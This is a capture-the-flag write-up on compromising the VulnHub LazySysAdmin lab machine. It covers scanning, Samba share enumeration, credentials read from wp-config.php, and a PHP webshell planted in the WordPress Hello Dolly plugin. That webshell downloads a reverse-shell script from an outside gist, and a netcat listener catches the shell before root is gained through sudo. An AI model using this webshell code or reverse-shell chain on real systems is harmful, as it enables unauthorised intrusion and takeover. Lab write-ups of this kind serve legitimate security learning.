VulnHub LazySysAdmin Writeup

This is a writeup for VulnHub’s LazySysAdmin: 1 challenge. It’s almost a year since I did my last VulnHub challenge, HackDay: Albania.

Host Discovery

I started by scanning my network in the range of IP addresses usually assigned by the DHCP server to new hosts. The VM is assigned the address 192.168.0.107.

$ nmap 192.168.0.100-120

Nmap scan report for 192.168.0.107
Host is up (0.00017s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3306/tcp open  mysql
6667/tcp open  irc

As we can see, the host is running several network services. We’ll start by checking the HTTP service.

HTTP Service

We’re served a web page that looks like of some startup whose founder isn’t very passionate to run the company.

iDontCare

It has a robots.txt file.

User-agent: *
Disallow: /old/
Disallow: /test/
Disallow: /TR2/
Disallow: /Backnode_files/

Only /Backnode_files/ has some files inside, and it doesn’t seem to have anything useful.

Moar Service Discovery

On our previous Nmap run we saw that the hsost is listening on several ports. We’re going to see what services are running.

$ nmap 192.168.0.107 -A

Starting Nmap 7.01 ( https://nmap.org ) at 2017-10-13 22:24 WIB
Nmap scan report for 192.168.0.107
Host is up (0.0016s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 b5:38:66:0f:a1:ee:cd:41:69:3b:82:cf:ad:a1:f7:13 (DSA)
|   2048 58:5a:63:69:d0:da:dd:51:cc:c1:6e:00:fd:7e:61:d0 (RSA)
|_  256 61:30:f3:55:1a:0d:de:c8:6a:59:5b:c9:9c:b4:92:04 (ECDSA)
80/tcp   open  http        Apache httpd 2.4.7 ((Ubuntu))
|_http-generator: Silex v2.2.7
| http-robots.txt: 4 disallowed entries 
|_/old/ /test/ /TR2/ /Backnode_files/
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Backnode
139/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: LAZYSYSADMIN)
445/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: LAZYSYSADMIN)
3306/tcp open  mysql       MySQL (unauthorized)
6667/tcp open  irc         InspIRCd
| irc-info: 
|   server: Admin.local
|   users: 1
|   servers: 1
|   chans: 0
|   lusers: 1
|   lservers: 0
|   source ident: nmap
|   source host: 192.168.0.105
|_  error: Closing link: (nmap@192.168.0.105) [Client exited]
Service Info: Host: Admin.local; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_nbstat: NetBIOS name: LAZYSYSADMIN, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: lazysysadmin
|   NetBIOS computer name: LAZYSYSADMIN
|   Domain name: 
|   FQDN: lazysysadmin
|_  System time: 2017-10-14T01:25:10+10:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smbv2-enabled: Server supports SMBv2 protocol

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.60 seconds

It’s running Samba for file sharing. Nice.

Samba Dancing

Let’s see if we can get anything out of the Samba service.

$ smbclient -L 192.168.0.107 -N
WARNING: The "syslog" option is deprecated
Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.3.11-Ubuntu]

  Sharename       Type      Comment
  ---------       ----      -------
  print$          Disk      Printer Drivers
  share$          Disk      Sumshare
  IPC$            IPC       IPC Service (Web server)
Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.3.11-Ubuntu]

  Server               Comment
  ---------            -------
  LAZYSYSADMIN         Web server

  Workgroup            Master
  ---------            -------
  WORKGROUP            LAZYSYSADMIN

See the sharenames. We can’t connect using print$ and IPC$ doesn’t allow us to list files after connecting. But share$ looks good.

$ smbclient //192.168.0.107/share$ -N
WARNING: The "syslog" option is deprecated
Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.3.11-Ubuntu]
smb: \> ls
  .                                   D        0  Tue Aug 15 18:05:52 2017
  ..                                  D        0  Mon Aug 14 19:34:47 2017
  wordpress                           D        0  Tue Aug 15 18:21:08 2017
  Backnode_files                      D        0  Mon Aug 14 19:08:26 2017
  wp                                  D        0  Tue Aug 15 17:51:23 2017
  deets.txt                           N      139  Mon Aug 14 19:20:05 2017
  robots.txt                          N       92  Mon Aug 14 19:36:14 2017
  todolist.txt                        N       79  Mon Aug 14 19:39:56 2017
  apache                              D        0  Mon Aug 14 19:35:19 2017
  index.html                          N    36072  Sun Aug  6 12:02:15 2017
  info.php                            N       20  Tue Aug 15 17:55:19 2017
  test                                D        0  Mon Aug 14 19:35:10 2017
  old                                 D        0  Mon Aug 14 19:35:13 2017

    3029776 blocks of size 1024. 1457080 blocks available
smb: \>

share$ doesn’t allow us to put files into the server, but it allows us to get files. This means we’re able to get any PHP file which code we need to see.

We can see that it has WordPress running. After some check, the WordPress is run at /wordpress/ path instead of /wp/, since /wp/ is an empty directory.

We can also see that the host is running on Apache.

$ curl -X HEAD http://192.168.0.107 -v
Warning: Setting custom HTTP method to HEAD with -X/--request may not work the 
Warning: way you want. Consider using -I/--head instead.
* Rebuilt URL to: http://192.168.0.107/
*   Trying 192.168.0.107...
* Connected to 192.168.0.107 (192.168.0.107) port 80 (#0)
> HEAD / HTTP/1.1
> Host: 192.168.0.107
> User-Agent: curl/7.47.0
> Accept: */*
> 
< HTTP/1.1 200 OK
< Date: Fri, 13 Oct 2017 15:38:28 GMT
< Server: Apache/2.4.7 (Ubuntu)
< Last-Modified: Sun, 06 Aug 2017 05:02:15 GMT
< ETag: "8ce8-5560ea23d23c0"
< Accept-Ranges: bytes
< Content-Length: 36072
< Vary: Accept-Encoding
< Content-Type: text/html
< 
* transfer closed with 36072 bytes remaining to read
* Closing connection 0
curl: (18) transfer closed with 36072 bytes remaining to read

WordPress Loves Dolly

I proceed to check out the WordPress page.

Sad WordPress Page

Its admin page is available here.

http://192.168.0.107/wp-admin/

It’s not left vulnerable to SQL injection, so we need to find another way around.

On the Samba console, there’s a wp-config.php file inside the /wordpress/ directory. I downloaded it and see it has the following lines.

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'Admin');

/** MySQL database password */
define('DB_PASSWORD', 'TogieMYSQL12345^^');

/** MySQL hostname */
define('DB_HOST', 'localhost');

/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8');

The DB_USER and DB_PASSWORD can be used to login to the WordPress admin panel.

Hello Dolly

See the text around the top right of the page?

So, take her wrap, fellas

It’s a line from Louis Armstrong’s song Hello Dolly. It’s printed by a WordPress plugin called Hello Dolly.

Dolly’ll Never Gonna Give You Up

I went to the plugins page and edit the Hello Dolly plugin’s hello_dolly_get_lyric() function to something like this.

function hello_dolly_get_lyric() {
  /** These are the lyrics to Hello Dolly */
  $lyrics = "Hello, Dolly
Well, hello, Dolly
It's so nice to have you back where you belong
You're lookin' swell, Dolly
I can tell, Dolly
You're still glowin', you're still crowin'
You're still goin' strong
We feel the room swayin'
While the band's playin'
One of your old favourite songs from way back when
So, take her wrap, fellas
Find her an empty lap, fellas
Dolly'll never go away again
Hello, Dolly
Well, hello, Dolly
It's so nice to have you back where you belong
You're lookin' swell, Dolly
I can tell, Dolly
You're still glowin', you're still crowin'
You're still goin' strong
We feel the room swayin'
While the band's playin'
One of your old favourite songs from way back when
Golly, gee, fellas
Find her a vacant knee, fellas
Dolly'll never go away
Dolly'll never go away
Dolly'll never go away again";

  // Here we split it into lines
  $lyrics = explode( "\n", $lyrics );

  // And then randomly choose a line
  //return wptexturize( $lyrics[ mt_rand( 0, count( $lyrics ) - 1 ) ] );
  $lyrics = "<pre>".shell_exec($_GET['cmd'])."</pre>";
  return  wptexturize($lyrics);
}

I commented the return instruction, add a line to execute shell command, and return the shell command result to be printed in place of the previous Hello Dolly song lyrics.

Aww Yeah

PHP Reverse Shell

I uploaded PHP reverse shell script for me to gain reverse shell access at GitHub using anonymous Gist feature.

https://gist.githubusercontent.com/anonymous/5cf1bb6324abcc8041c4f9e28d5f8424/raw/94a5905fca7a8a21ef4cda2cdc13e6511c7a2856/php-reverse-shell.php

Then, I had the Hello Dolly plugin downloaded it using wget by hitting this URL on my browser.

http://192.168.0.107/wordpress/wp-admin/index.php?cmd=wget+https%3A%2F%2Fgist.githubusercontent.com%2Fanonymous%2F5cf1bb6324abcc8041c4f9e28d5f8424%2Fraw%2F94a5905fca7a8a21ef4cda2cdc13e6511c7a2856%2Fphp-reverse-shell.php

Sweet. Now I set up netcat to listen to port 1234, the port my PHP reverse shell is connecting to.

$ nc -lnvp 1234

I accessed PHP reverse shell from my browser.

http://192.168.0.107/wordpress/wp-admin/php-reverse-shell.php

Now I got the reverse shell with the user privilege of www-data.

$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

I might have the reverse shell, but not a proper TTY yet. So I need to run this command from the reverse shell.

$ python3 -c 'import pty; pty.spawn("/bin/bash")'

Exploring the Shell

At first, I tried connecting to MySQL locally since I couldn’t connect to MySQL from remote host. But I didn’t find anything useful there.

I tried to find exploitable SUID files, but there doesn’t seem to be any that’s exploitable.

$ find / -perm -4000 -type f 2>/dev/null
/bin/ping
/bin/fusermount
/bin/ping6
/bin/umount
/bin/mount
/bin/su
/usr/bin/traceroute6.iputils
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/at
/usr/bin/mtr
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/chfn
/usr/sbin/uuidd
/usr/sbin/pppd
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device

There’s a user with the name togie in the system.

$ ls -alh /home
total 12K
drwxr-xr-x  3 root  root  4.0K Aug 14 20:00 .
drwxr-xr-x 22 root  root  4.0K Aug 21 20:10 ..
drwxr-xr-x  3 togie togie 4.0K Aug 15 23:05 togie

The /etc/passwd/ file is not writable and the /etc/shadow can’t be read. I also don’t seem to be able to register new cron jobs using www-data user.

www-data is not a sudoer, but togie is.

$ for i in $(cat /etc/passwd 2>/dev/null| cut -d":" -f1 2>/dev/null);do id $i;done 2>/dev/null
uid=0(root) gid=0(root) groups=0(root)
uid=1(daemon) gid=1(daemon) groups=1(daemon)
uid=2(bin) gid=2(bin) groups=2(bin)
uid=3(sys) gid=3(sys) groups=3(sys)
uid=4(sync) gid=65534(nogroup) groups=65534(nogroup)
uid=5(games) gid=60(games) groups=60(games)
uid=6(man) gid=12(man) groups=12(man)
uid=7(lp) gid=7(lp) groups=7(lp)
uid=8(mail) gid=8(mail) groups=8(mail)
uid=9(news) gid=9(news) groups=9(news)
uid=10(uucp) gid=10(uucp) groups=10(uucp)
uid=13(proxy) gid=13(proxy) groups=13(proxy)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=34(backup) gid=34(backup) groups=34(backup)
uid=38(list) gid=38(list) groups=38(list)
uid=39(irc) gid=39(irc) groups=39(irc)
uid=41(gnats) gid=41(gnats) groups=41(gnats)
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
uid=100(libuuid) gid=101(libuuid) groups=101(libuuid)
uid=101(syslog) gid=104(syslog) groups=104(syslog),4(adm)
uid=102(messagebus) gid=106(messagebus) groups=106(messagebus)
uid=103(landscape) gid=109(landscape) groups=109(landscape)
uid=1000(togie) gid=1000(togie) groups=1000(togie),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare)
uid=104(sshd) gid=65534(nogroup) groups=65534(nogroup)
uid=105(mysql) gid=113(mysql) groups=113(mysql)

Using netstat, we can see that Nmap already identified all of the listening services.

$ netstat -tunlp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:3306            0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:139             0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:6667            0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:445             0.0.0.0:*               LISTEN      -               
tcp6       0      0 :::139                  :::*                    LISTEN      -               
tcp6       0      0 :::80                   :::*                    LISTEN      -               
tcp6       0      0 :::22                   :::*                    LISTEN      -               
tcp6       0      0 :::445                  :::*                    LISTEN      -               
udp        0      0 192.168.0.255:137       0.0.0.0:*                           -               
udp        0      0 192.168.0.107:137       0.0.0.0:*                           -               
udp        0      0 0.0.0.0:137             0.0.0.0:*                           -               
udp        0      0 192.168.0.255:138       0.0.0.0:*                           -               
udp        0      0 192.168.0.107:138       0.0.0.0:*                           -               
udp        0      0 0.0.0.0:138             0.0.0.0:*                           -               
udp        0      0 0.0.0.0:32228           0.0.0.0:*                           -               
udp        0      0 0.0.0.0:68              0.0.0.0:*                           -               
udp        0      0 0.0.0.0:44636           0.0.0.0:*                           -               
udp6       0      0 :::27536                :::*                                -

So I checked the files in /var/www/html directory to see if there’s anything useful. deets.txt seems to contain something really sensitive there.

$ cat deets.txt
CBF Remembering all these passwords.

Remember to remove this file and update your password after we push out the server.

Password 12345


It’s togie’s password. Nice!

I am togie

togie is a sudoer, so we can do this.

$ sudo su

And perform this.

# cd /root
# ls -alh
total 28K
drwx------  3 root root 4.0K Aug 15 23:10 .
drwxr-xr-x 22 root root 4.0K Aug 21 20:10 ..
-rw-------  1 root root 1000 Aug 21 20:10 .bash_history
-rw-r--r--  1 root root 3.1K Feb 20  2014 .bashrc
drwx------  2 root root 4.0K Aug 14 20:30 .cache
-rw-r--r--  1 root root  140 Feb 20  2014 .profile
-rw-r--r--  1 root root  347 Aug 21 19:35 proof.txt
# cat proof.txt
WX6k7NJtA8gfk*w5J3&T@*Ga6!0o5UP89hMVEQ#PT9851


Well done :)

Hope you learn't a few things along the way.

Regards,

Togie Mcdogie




Enjoy some random strings

WX6k7NJtA8gfk*w5J3&T@*Ga6!0o5UP89hMVEQ#PT9851
2d2v#X6x9%D6!DDf4xC1ds6YdOEjug3otDmc1$#slTET7
pf%&1nRpaj^68ZeV2St9GkdoDkj48Fl$MI97Zt2nebt02
bhO!5Je65B6Z0bhZhQ3W64wL65wonnQ$@yw%Zhy0U19pu

Actually, we can also use SSH with togie’s account after we got the password. Choose whatever way suits you.

That’s it! Thanks for the challenge, Togie Mcdogie!